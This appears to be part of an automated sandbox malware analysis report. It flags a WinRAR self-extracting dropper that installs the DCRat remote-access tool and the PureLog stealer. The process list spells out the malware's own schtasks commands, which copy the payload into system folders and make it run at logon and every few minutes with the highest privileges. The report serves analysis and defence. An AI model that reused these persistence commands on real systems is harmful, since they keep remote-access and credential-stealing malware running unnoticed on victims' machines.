Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD287.tmp" "c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP"
Imagebase:	0x7ff7a49d0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0x40000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 11 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "driverSavesNet" /sc ONLOGON /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 9 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat"
Imagebase:	0x7ff63f9f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:16:25
Start date:	26/08/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff712ee0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:16:26
Start date:	26/08/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff7aef40000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:16:26
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	C:\comReviewintocommon\driverSavesNet.exe
Imagebase:	0x330000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:16:26
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	C:\comReviewintocommon\driverSavesNet.exe
Imagebase:	0x6a0000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:16:34
Start date:	26/08/2024
Path:	C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0x990000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:16:35
Start date:	26/08/2024
Path:	C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0xae0000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:16:42
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	"C:\comReviewintocommon\driverSavesNet.exe"
Imagebase:	0xe70000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:16:50
Start date:	26/08/2024
Path:	C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0x580000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:16:59
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	"C:\comReviewintocommon\driverSavesNet.exe"
Imagebase:	0x9b0000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:17:07
Start date:	26/08/2024
Path:	C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0x140000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:17:16
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	"C:\comReviewintocommon\driverSavesNet.exe"
Imagebase:	0x880000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.3%
Total number of Nodes:	943
Total number of Limit Nodes:	32

Executed Functions

Function 006FB7E0 Relevance: 90.0, APIs: 37, Strings: 14, Instructions: 731windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006FB7E5

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 006FB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FB8EF
IsDialogMessageW.USER32(?,?), ref: 006FB902
TranslateMessage.USER32(?), ref: 006FB910
DispatchMessageW.USER32(?), ref: 006FB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 006FB93D
EndDialog.USER32(?,00000001), ref: 006FB960
GetDlgItem.USER32(?,00000068), ref: 006FB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 006FB99E
SendMessageW.USER32(00000000,000000C2,00000000,007135F4), ref: 006FB9B1

Part of subcall function 006FD453: _wcschr.LIBVCRUNTIME ref: 006FD45C
Part of subcall function 006FD453: _wcslen.LIBCMT ref: 006FD47D

SetFocus.USER32(00000000), ref: 006FB9B8
_swprintf.LIBCMT ref: 006FBA24

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

Part of subcall function 006FD4D4: GetDlgItem.USER32(00000068,0073FCB8), ref: 006FD4E8
Part of subcall function 006FD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,006FAF07,00000001,?,?,006FB7B9,0071506C,0073FCB8,0073FCB8,00001000,00000000,00000000), ref: 006FD510
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 006FD51B
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,007135F4), ref: 006FD529
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 006FD53F
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 006FD559
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 006FD59D
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 006FD5AB
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 006FD5BA
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 006FD5E1
Part of subcall function 006FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,007143F4), ref: 006FD5F0

_swprintf.LIBCMT ref: 006FBAC2
_swprintf.LIBCMT ref: 006FBB7C
ShellExecuteExW.SHELL32(0000003C), ref: 006FBC6F
_swprintf.LIBCMT ref: 006FBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 006FBD7D
SetDlgItemTextW.USER32(?,00000065,007135F4), ref: 006FBD94
GetDlgItem.USER32(?,00000065), ref: 006FBD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 006FBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 006FBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 006FBE68
_wcslen.LIBCMT ref: 006FBEBE
_swprintf.LIBCMT ref: 006FBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 006FBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 006FBF4C
GetDlgItem.USER32(?,00000068), ref: 006FBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 006FBF6B
GetDlgItem.USER32(?,00000066), ref: 006FBF85
SetWindowTextW.USER32(00000000,0072A472), ref: 006FBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 006FC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 006FC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 006FC0BD
EnableWindow.USER32(00000000,00000000), ref: 006FC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 006FC1D9

Part of subcall function 006FC73F: __EH_prolog.LIBCMT ref: 006FC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 006FC1FD

Strings

@, xrefs: 006FBB91
-el -s2 "-d%s" "-sp%s", xrefs: 006FBB6B
^o, xrefs: 006FC1E1
STARTDLG, xrefs: 006FB801
runas, xrefs: 006FBBBC
__tmp_rar_sfx_access_check_%u, xrefs: 006FBAB5
PDu<o, xrefs: 006FBC6F
<, xrefs: 006FBB84
winrarsfxmappingfile.tmp, xrefs: 006FBBA6
LICENSEDLG, xrefs: 006FC0B2
%s, xrefs: 006FBED8
C:\Users\user\Desktop, xrefs: 006FBBC9
"%s"%s, xrefs: 006FBD0D
ho, xrefs: 006FBCA5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$Dialog$H_prologLong_wcslen$DispatchEnableExecuteFocusParamShellShowTranslate__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$PDu<o$STARTDLG$^o$__tmp_rar_sfx_access_check_%u$ho$runas$winrarsfxmappingfile.tmp
API String ID: 1533452614-4262451850
Opcode ID: db79043d0aa4545df4362edd3149fec0f9b4eff6f1020031bf167098766b739f
Instruction ID: f17d2cc13c1c69bd7731ce1ebd3f1cb94ff21caf868d9b834d1cbba9405cb77a
Opcode Fuzzy Hash: db79043d0aa4545df4362edd3149fec0f9b4eff6f1020031bf167098766b739f
Instruction Fuzzy Hash: 9F420A7094428CBBEB21ABB4DD4AFFE376E9B12700F008159F744A61D2CB7D5A45CB29

Function 006FDF1E Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 195
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FAC16: OleInitialize.OLE32(00000000), ref: 006FAC2F
Part of subcall function 006FAC16: SHGetMalloc.SHELL32(00728438), ref: 006FAC70

_swprintf.LIBCMT ref: 006FE048
LoadIconW.USER32(00000000,00000064), ref: 006FE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 006FE0C9
DeleteObject.GDI32 ref: 006FE130
DeleteObject.GDI32(?), ref: 006FE140

Part of subcall function 006FDBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 006FDBF4

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 006FE039
sfxname, xrefs: 006FDFF9
xzs, xrefs: 006FE10B
winrarsfxmappingfile.tmp, xrefs: 006FDF77
STARTDLG, xrefs: 006FE0BE
C:\Users\user\Desktop, xrefs: 006FDF33
sfxstime, xrefs: 006FE055

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: DeleteObject$DialogEnvironmentIconInitializeLoadMallocParamVariable_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xzs
API String ID: 730176925-2638459132
Opcode ID: 4c1b76877e0f629289eb490b1845a3496e649615fcad9596f3779ea9857e7132
Instruction ID: 766cfc7098e1089ffbfe78b850793f8b8b0c34613323902d8bc3fc5e30b2df31
Opcode Fuzzy Hash: 4c1b76877e0f629289eb490b1845a3496e649615fcad9596f3779ea9857e7132
Instruction Fuzzy Hash: F66109B1904248ABD360AF79DC49FBB7BEEAB45700F00842DF605922E1DB7C9944C769

Function 006EA69B Relevance: 3.1, APIs: 2, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,006EA592,000000FF,?,?), ref: 006EA6C4

Part of subcall function 006EBB03: _wcslen.LIBCMT ref: 006EBB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,006EA592,000000FF,?,?), ref: 006EA6F2

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
